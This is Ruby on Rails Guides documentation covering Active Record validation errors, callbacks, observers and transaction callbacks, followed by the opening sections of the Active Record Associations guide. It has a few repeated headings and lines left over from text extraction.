7 Working with Validation Errors

In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects.

The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods.

7.1 errors

Returns an instance of the class `ActiveModel::Errors` (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors.

```
class Person < ActiveRecord::Base
  validates :name, :presence => true, :length => { :minimum => 3 }
end

person = Person.new
person.valid? # => false
person.errors
 # => {:name => ["can't be blank", "is too short (minimum is 3 characters)"]}

person = Person.new(:name => "John Doe")
person.valid? # => true
person.errors # => []
```

7.2 errors[]

`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.

```
class Person < ActiveRecord::Base
  validates :name, :presence => true, :length => { :minimum => 3 }
end

person = Person.new(:name => "John Doe")
```

```
person.valid? # => true
person.errors[:name] # => []

person = Person.new(:name => "JD")
person.valid? # => false
person.errors[:name] # => ["is too short (minimum is 3 characters)"]

person = Person.new
person.valid? # => false
person.errors[:name]
 # => ["can't be blank", "is too short (minimum is 3 characters)"]
```

7.3 `errors.add`

The `add` method lets you manually add messages that are related to particular attributes. You can use the `errors.full_messages` or `errors.to_a` methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). `add` receives the name of the attribute you want to add the message to, and the message itself.

```
class Person < ActiveRecord::Base
  def a_method_used_for_validation_purposes
    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
  end
end

person = Person.create(:name => "!@#")

person.errors[:name]
 # => ["cannot contain the characters !@#%*()_-+="]

person.errors.full_messages
 # => ["Name cannot contain the characters !@#%*()_-+="]
```

Another way to do this is using `[]=` setter

```
class Person < ActiveRecord::Base
    def a_method_used_for_validation_purposes
      errors[:name] = "cannot contain the characters !@#%*()_-+="
    end
  end

  person = Person.create(:name => "!@#")

  person.errors[:name]
   # => ["cannot contain the characters !@#%*()_-+="]

  person.errors.to_a
   # => ["Name cannot contain the characters !@#%*()_-+="]
```

7.4 `errors[:base]`

You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message.

```
class Person < ActiveRecord::Base
  def a_method_used_for_validation_purposes
    errors[:base] << "This person is invalid because ..."
  end
end
```

7.5 errors.clear

7.5 `errors.clear`

The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again.

```
class Person < ActiveRecord::Base
  validates :name, :presence => true, :length => { :minimum => 3 }
end

person = Person.new
person.valid? # => false
person.errors[:name]
 # => ["can't be blank", "is too short (minimum is 3 characters)"]

person.errors.clear
person.errors.empty? # => true

p.save # => false

p.errors[:name]
 # => ["can't be blank", "is too short (minimum is 3 characters)"]
```

7.6 `errors.size`

The `size` method returns the total number of error messages for the object.

```
class Person < ActiveRecord::Base
  validates :name, :presence => true, :length => { :minimum => 3 }
end

person = Person.new
person.valid? # => false
person.errors.size # => 2

person = Person.new(:name => "Andrea", :email => "andrea@example.com")
person.valid? # => true
person.errors.size # => 0
```

8 Displaying Validation Errors in the View

DynamicForm provides helpers to display the error messages of your models in your view templates.

You can install it as a gem by adding this line to your Gemfile:

```
gem "dynamic_form"
```

Now you will have access to the two helper methods `error_messages` and `error_messages_for` in your view templates.

8.1 `error_messages` and `error_messages_for`

When creating a form with the `form_for` helper, you can use the `error_messages` method on the form builder to render all failed validation messages for the current model instance.

```
class Product < ActiveRecord::Base
  validates :description, :value, :presence => true
  validates :value, :numericality => true, :allow_nil => true
end

<%= form_for(@product) do |f| %>
  <%= f.error_messages %>
```

```
  <p>
    <%= f.label :description %><br />
    <%= f.text_field :description %>
  </p>
  <p>
    <%= f.label :value %><br />
    <%= f.text_field :value %>
  </p>
  <p>
    <%= f.submit "Create" %>
  </p>
<% end %>
```

If you submit the form with empty fields, the result will be similar to the one shown below:

The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See **Customizing the Error Messages CSS**.

You can also use the `error_messages_for` helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result.

```
<%= error_messages_for :product %>
```

The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.

Both the `form.error_messages` and the `error_messages_for` helpers accept options that let you customize the `div` element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example,

```
<%= f.error_messages :header_message => "Invalid product!",
  :message => "You'll need to fix the following fields:",
  :header_tag => :h3 %>
```

results in:

If you pass `nil` in any of these options, the corresponding section of the `div` will be discarded.

8.2 Customizing the Error Messages CSS

The selectors used to customize the style of error messages are:

- `.field_with_errors` – Style for the form fields and labels with errors.
- `#error_explanation` – Style for the `div` element with the error messages.
- `#error_explanation h2` – Style for the header of the `div` element.
- `#error_explanation p` – Style for the paragraph holding the message that appears right below the header of the `div` element.
- `#error_explanation ul li` – Style for the list items with individual error messages.

If scaffolding was used, file `app/assets/stylesheets/scaffolds.css.scss` will have been generated automatically. This file defines the red-based styles you saw in the examples above.

The name of the class and the id can be changed with the `:class` and `:id` options, accepted by both helpers.

8.3 Customizing the Error Messages HTML

By default, form fields with errors are displayed enclosed by a `div` element with the `field_with_errors` CSS class. However, it's possible to override that.

The way form fields with errors are treated is defined by `ActionView::Base.field_error_proc`. This is a `Proc` that receives two parameters:

- A string with the HTML tag

- An instance of `ActionView::Helpers::InstanceTag`.

Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a `span` element with a `validation-error` CSS class. There will be no `div` element enclosing the `input` element, so we get rid of that red border around the text field. You can use the `validation-error` CSS class to style it anyway you want.

```
ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
  errors = Array(instance.error_message).join(',')
  %(#{html_tag}<span class="validation-error">&amp;nbsp;#{errors}</span>).html_safe
end
```

The result looks like the following:

9 Callbacks Overview

Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.

9.1 Callback Registration

In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:

```
class User < ActiveRecord::Base
  validates :login, :email, :presence => true

  before_validation :ensure_login_has_a_value

  protected
  def ensure_login_has_a_value
    if login.nil?
      self.login = email unless email.blank?
    end
  end
end
```

The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:

```
class User < ActiveRecord::Base
  validates :login, :email, :presence => true

  before_create do |user|
    user.name = user.login.capitalize if user.name.blank?
  end
end
```

It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.

10 Available Callbacks

Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:

10.1 Creating an Object

- `before_validation`
- `after_validation`
- `before_save`
- `around_save`

- around_save
- before_create
- around_create
- after_create
- after_save

10.2 Updating an Object

- before_validation
- after_validation
- before_save
- around_save
- before_update
- around_update
- after_update
- after_save

10.3 Destroying an Object

- before_destroy
- around_destroy
- after_destroy

after_save runs both on create and update, but always *after* the more specific callbacks after_create and after_update, no matter the order in which the macro calls were executed.

10.4 after_initialize and after_find

The after_initialize callback will be called whenever an Active Record object is instantiated, either by directly using new or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record initialize method.

The after_find callback will be called whenever Active Record loads a record from the database. after_find is called before after_initialize if both are defined.

The after_initialize and after_find callbacks have no before_* counterparts, but they can be registered just like the other Active Record callbacks.

```
class User < ActiveRecord::Base
  after_initialize do |user|
    puts "You have initialized an object!"
  end

  after_find do |user|
    puts "You have found an object!"
  end
end

>> User.new
You have initialized an object!
=> #<User id: nil>

>> User.first
You have found an object!
You have initialized an object!
=> #<User id: 1>
```

11 Running Callbacks

The following methods trigger callbacks:

- create

- create
- create!
- decrement!
- destroy
- destroy_all
- increment!
- save
- save!
- save(:validate => false)
- toggle!
- update
- update_attribute
- update_attributes
- update_attributes!
- valid?

Additionally, the `after_find` callback is triggered by the following finder methods:

- all
- first
- find
- find_all_by_*attribute*
- find_by_*attribute*
- find_by_*attribute*!
- last

The `after_initialize` callback is triggered every time a new object of the class is initialized.

12 Skipping Callbacks

Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.

- decrement
- decrement_counter
- delete
- delete_all
- find_by_sql
- increment
- increment_counter
- toggle
- touch
- update_column
- update_all
- update_counters

13 Halting Execution

As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.

The whole callback chain is wrapped in a transaction. If any *before* callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; *after* callbacks can only accomplish that by raising an exception.

Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.

14 Relational Callbacks

Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Post` model:

```
class User < ActiveRecord::Base
  has_many :posts, :dependent => :destroy
end

class Post < ActiveRecord::Base
  after_destroy :log_destroy_action

  def log_destroy_action
    puts 'Post destroyed'
  end
end

>> user = User.first
=> #<User id: 1>
>> user.posts.create!
=> #<Post id: 1, user_id: 1>
>> user.destroy
Post destroyed
=> #<User id: 1>
```

15 Conditional Callbacks

As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a string or a `Proc`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option.

15.1 Using `:if` and `:unless` with a `Symbol`

You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.

```
class Order < ActiveRecord::Base
  before_save :normalize_card_number, :if => :paid_with_card?
end
```

15.2 Using `:if` and `:unless` with a String

You can also use a string that will be evaluated using `eval` and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:

```
class Order < ActiveRecord::Base
  before_save :normalize_card_number, :if => "paid_with_card?"
end
```

15.3 Using `:if` and `:unless` with a `Proc`

Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners:

```
class Order < ActiveRecord::Base
  before_save :normalize_card_number,
    :if => Proc.new { |order| order.paid_with_card? }
```

```
end
```

15.4 Multiple Conditions for Callbacks

When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration:

```
class Comment < ActiveRecord::Base
  after_create :send_email_to_author, :if => :author_wants_emails?,
    :unless => Proc.new { |comment| comment.post.ignore_comments? }
end
```

16 Callback Classes

Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.

Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model:

```
class PictureFileCallbacks
  def after_destroy(picture_file)
    if File.exists?(picture_file.filepath)
      File.delete(picture_file.filepath)
    end
  end
end
```

When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:

```
class PictureFile < ActiveRecord::Base
  after_destroy PictureFileCallbacks.new
end
```

Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:

```
class PictureFileCallbacks
  def self.after_destroy(picture_file)
    if File.exists?(picture_file.filepath)
      File.delete(picture_file.filepath)
    end
  end
end
```

If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object.

```
class PictureFile < ActiveRecord::Base
  after_destroy PictureFileCallbacks
end
```

You can declare as many callbacks as you want inside your callback classes.

17 Observers

Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a `User` model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.

17.1 Creating Observers

For example, imagine a `User` model where we want to send an email every time a new user is created. Because sending

emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality.

```
$ rails generate observer User
```

generates `app/models/user_observer.rb` containing the observer class `UserObserver`:

```
class UserObserver < ActiveRecord::Observer
end
```

You may now add methods to be called at the desired occasions:

```
class UserObserver < ActiveRecord::Observer
  def after_create(model)
    # code to send confirmation email...
  end
end
```

As with callback classes, the observer's methods receive the observed model as a parameter.

17.2 Registering Observers

Observers are conventionally placed inside of your `app/models` directory and registered in your application's `config/application.rb` file. For example, the `UserObserver` above would be saved as `app/models/user_observer.rb` and registered in `config/application.rb` this way:

```
# Activate observers that should always be running.
config.active_record.observers = :user_observer
```

As usual, settings in `config/environments` take precedence over those in `config/application.rb`. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead.

17.3 Sharing Observers

By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe:

```
class MailerObserver < ActiveRecord::Observer
  observe :registration, :user

  def after_create(model)
    # code to send confirmation email...
  end
end
```

In this example, the `after_create` method will be called whenever a `Registration` or `User` is created. Note that this new `MailerObserver` would also need to be registered in `config/application.rb` in order to take effect:

```
# Activate observers that should always be running.
config.active_record.observers = :mailer_observer
```

18 Transaction Callbacks

There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.

Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error.

```
PictureFile.transaction do
  picture_file_1.destroy
  picture_file_2.save!
end
```

By using the `after_commit` callback we can account for this case.

```
class PictureFile < ActiveRecord::Base
  attr_accessor :delete_file

  after_destroy do |picture_file|
    picture_file.delete_file = picture_file.filepath
  end

  after_commit do |picture_file|
    if picture_file.delete_file && File.exist?(picture_file.delete_file)
      File.delete(picture_file.delete_file)
      picture_file.delete_file = nil
    end
  end
end
```

The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

A Guide to Active Record Associations

This guide covers the association features of Active Record. By referring to this guide, you will be able to:

- Declare associations between Active Record models
- Understand the various types of Active Record associations
- Use the methods added to your models by creating associations

Chapters

1. Why Associations?
2. The Types of Associations
   - The `belongs_to` Association
   - The `has_one` Association
   - The `has_many` Association
   - The `has_many :through` Association
   - The `has_one :through` Association
   - The `has_and_belongs_to_many` Association
   - Choosing Between `belongs_to` and `has_one`
   - Choosing Between `has_many :through` and `has_and_belongs_to_many`
   - Polymorphic Associations
   - Self Joins
3. Tips, Tricks, and Warnings
   - Controlling Caching
   - Avoiding Name Collisions
   - Updating the Schema
   - Controlling Association Scope
   - Bi-directional Associations
4. Detailed Association Reference
   - `belongs_to` Association Reference
   - `has_one` Association Reference
   - `has_many` Association Reference
   - `has_and_belongs_to_many` Association Reference
   - Association Callbacks
   - Association Extensions

1 Why Associations?

Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:

```
class Customer < ActiveRecord::Base
end

class Order < ActiveRecord::Base
end
```

Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:

```
@order = Order.create(:order_date => Time.now,
  :customer_id => @customer.id)
```

Or consider deleting a customer, and ensuring that all of its orders get deleted as well:

```
@orders = Order.where(:customer_id => @customer.id)
@orders.each do |order|
  order.destroy
end
@customer.destroy
```

With Active Record associations, we can streamline these — and other — operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:

```
class Customer < ActiveRecord::Base
  has_many :orders, :dependent => :destroy
end

class Order < ActiveRecord::Base
  belongs_to :customer
end
```

With this change, creating a new order for a particular customer is easier:

```
@order = @customer.orders.create(:order_date => Time.now)
```

Deleting a customer and all of its orders is *much* easier:

```
@customer.destroy
```

To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.

2 The Types of Associations

In Rails, an *association* is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:

- `belongs_to`
- `has_one`
- `has_many`
- `has_many :through`
- `has_one :through`
- `has_and_belongs_to_many`

In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.

2.1 The `belongs_to` Association

A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:

```
class Order < ActiveRecord::Base
  belongs_to :customer
end
```

2.2 The `has_one` Association

A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:

```
class Supplier < ActiveRecord::Base
  has_one :account
end
```

2.3 The `has_many` Association

A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:

```
class Customer < ActiveRecord::Base
  has_many :orders
end
```

The name of the other model is pluralized when declaring a `has_many` association.

2.4 The `has_many :through` Association

2.4 The has_many :through Association

A has_many :through association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding *through* a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:

```
class Physician < ActiveRecord::Base
  has_many :appointments
  has_many :patients, :through => :appointments
end

class Appointment < ActiveRecord::Base
  belongs_to :physician
  belongs_to :patient
end

class Patient < ActiveRecord::Base
  has_many :appointments
  has_many :physicians, :through => :appointments
end
```

The collection of join models can be managed via the API. For example, if you assign

```
physician.patients = patients
```

new join models are created for newly associated objects, and if some are gone their rows are deleted.

Automatic deletion of join models is direct, no destroy callbacks are triggered.

The has_many :through association is also useful for setting up "shortcuts" through nested has_many associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:

```
class Document < ActiveRecord::Base
  has_many :sections
  has_many :paragraphs, :through => :sections
end

class Section < ActiveRecord::Base
  belongs_to :document
  has_many :paragraphs
end

class Paragraph < ActiveRecord::Base
  belongs_to :section
end
```

With :through => :sections specified, Rails will now understand:

```
@document.paragraphs
```

2.5 The has_one :through Association

A has_one :through association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding *through* a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:

```
class Supplier < ActiveRecord::Base
  has_one :account
  has_one :account_history, :through => :account
end

class Account < ActiveRecord::Base
  belongs_to :supplier
  has_one :account_history
end

class AccountHistory < ActiveRecord::Base
  belongs_to :account
```

```
end
```

2.6 The `has_and_belongs_to_many` Association

A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:

```
class Assembly < ActiveRecord::Base
  has_and_belongs_to_many :parts
end

class Part < ActiveRecord::Base
  has_and_belongs_to_many :assemblies
end
```

2.7 Choosing Between `belongs_to` and `has_one`

If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which?

The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours – that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:

```
class Supplier < ActiveRecord::Base
  has_one :account
end

class Account < ActiveRecord::Base
  belongs_to :supplier
end
```

The corresponding migration might look like this:

```
class CreateSuppliers < ActiveRecord::Migration
  def change
    create_table :suppliers do |t|
      t.string  :name
      t.timestamps
    end

    create_table :accounts do |t|
      t.integer :supplier_id
      t.string  :account_number
      t.timestamps
    end
  end
end
```

Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead.

2.8 Choosing Between `has_many :through` and `has_and_belongs_to_many`

Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly:

```
class Assembly < ActiveRecord::Base
  has_and_belongs_to_many :parts
end

class Part < ActiveRecord::Base
  has_and_belongs_to_many :assemblies
end
```

The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model:

indirectly, through a join model:

```
class Assembly < ActiveRecord::Base
  has_many :manifests
  has_many :parts, :through => :manifests
end

class Manifest < ActiveRecord::Base
  belongs_to :assembly
  belongs_to :part
end

class Part < ActiveRecord::Base
  has_many :manifests
  has_many :assemblies, :through => :manifests
end
```

The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database).

You should use `has_many :through` if you need validations, callbacks, or extra attributes on the join model.

2.9 Polymorphic Associations

A slightly more advanced twist on associations is the *polymorphic association*. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:

```
class Picture < ActiveRecord::Base
  belongs_to :imageable, :polymorphic => true
end

class Employee < ActiveRecord::Base
  has_many :pictures, :as => :imageable
end

class Product < ActiveRecord::Base
  has_many :pictures, :as => :imageable
end
```

You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`.

Similarly, you can retrieve `@product.pictures`.

If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:

```
class CreatePictures < ActiveRecord::Migration
  def change
    create_table :pictures do |t|
      t.string  :name
      t.integer :imageable_id
      t.string  :imageable_type
      t.timestamps
    end
  end
end
```

This migration can be simplified by using the `t.references` form:

```
class CreatePictures < ActiveRecord::Migration
  def change
    create_table :pictures do |t|
      t.string :name
      t.references :imageable, :polymorphic => true
      t.timestamps
    end
  end
end
```

end

2.10 Self Joins

In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:

```
class Employee < ActiveRecord::Base
  has_many :subordinates, :class_name => "Employee"
  belongs_to :manager, :class_name => "Employee",
    :foreign_key => "manager_id"
end
```

With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.

3 Tips, Tricks, and Warnings

Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:

- Controlling caching
- Avoiding name collisions
- Updating the schema
- Controlling association scope
- Bi-directional associations

3.1 Controlling Caching

All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:

```
customer.orders                 # retrieves orders from the database
customer.orders.size            # uses the cached copy of orders
customer.orders.empty?          # uses the cached copy of orders
```

But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass `true` to the association call:

```
customer.orders                 # retrieves orders from the database
customer.orders.size            # uses the cached copy of orders
customer.orders(true).empty?    # discards the cached copy of orders
                                # and goes back to the database
```

3.2 Avoiding Name Collisions

You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations.

3.3 Updating the Schema

Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table.

3.3.1 Creating Foreign Keys for `belongs_to` Associations

When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model:

```
class Order < ActiveRecord::Base
  belongs_to :customer
end
```

This declaration needs to be backed up by the proper foreign key declaration on the orders table:

```
class CreateOrders < ActiveRecord::Migration
  def change
    create_table :orders do |t|
```

```
      t.datetime :order_date
      t.string   :order_number
      t.integer  :customer_id
    end
  end
end
```

If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key.

3.3.2 Creating Join Tables for `has_and_belongs_to_many` Associations

If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.

The precedence between model names is calculated using the < operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically *less* than 's' in common encodings).

Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:

```
class Assembly < ActiveRecord::Base
  has_and_belongs_to_many :parts
end

class Part < ActiveRecord::Base
  has_and_belongs_to_many :assemblies
end
```

These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key:

```
class CreateAssemblyPartJoinTable < ActiveRecord::Migration
  def change
    create_table :assemblies_parts, :id => false do |t|
      t.integer :assembly_id
      t.integer :part_id
    end
  end
end
```

We pass `:id => false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.

3.4 Controlling Association Scope

By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:

```
module MyApplication
  module Business
    class Supplier < ActiveRecord::Base
       has_one :account
    end

    class Account < ActiveRecord::Base
       belongs_to :supplier
    end
  end
end
```

This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will *not* work, because `Supplier` and `Account` are defined in different scopes:

```
module MyApplication
```

```
module MyApplication
  module Business
    class Supplier < ActiveRecord::Base
       has_one :account
    end
  end

  module Billing
    class Account < ActiveRecord::Base
       belongs_to :supplier
    end
  end
end
```

To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:

```
module MyApplication
  module Business
    class Supplier < ActiveRecord::Base
       has_one :account,
        :class_name => "MyApplication::Billing::Account"
    end
  end

  module Billing
    class Account < ActiveRecord::Base
       belongs_to :supplier,
        :class_name => "MyApplication::Business::Supplier"
    end
  end
end
```

3.5 Bi-directional Associations

It's normal for associations to work in two directions, requiring declaration on two different models:

```
class Customer < ActiveRecord::Base
  has_many :orders
end

class Order < ActiveRecord::Base
  belongs_to :customer
end
```

By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync:

```
c = Customer.first
o = c.orders.first
c.first_name == o.customer.first_name # => true
c.first_name = 'Manny'
c.first_name == o.customer.first_name # => false
```

This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the `:inverse_of` option so that you can inform it of these relations:

```
class Customer < ActiveRecord::Base
  has_many :orders, :inverse_of => :customer
end

class Order < ActiveRecord::Base
  belongs_to :customer, :inverse_of => :orders
end
```

With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient:

```
c = Customer.first
o = c.orders.first
c.first_name == o.customer.first_name # => true
```

```
c.first_name == o.customer.first_name # => true
c.first_name = 'Manny'
c.first_name == o.customer.first_name # => true
```

There are a few limitations to `inverse_of` support:

- They do not work with `:through` associations.
- They do not work with `:polymorphic` associations.
- They do not work with `:as` associations.
- For `belongs_to` associations, `has_many` inverse associations are ignored.

4 Detailed Association Reference

The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.

4.1 `belongs_to` Association Reference

The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead.

4.1.1 Methods Added by `belongs_to`

When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association:

- *`association`*`(force_reload = false)`
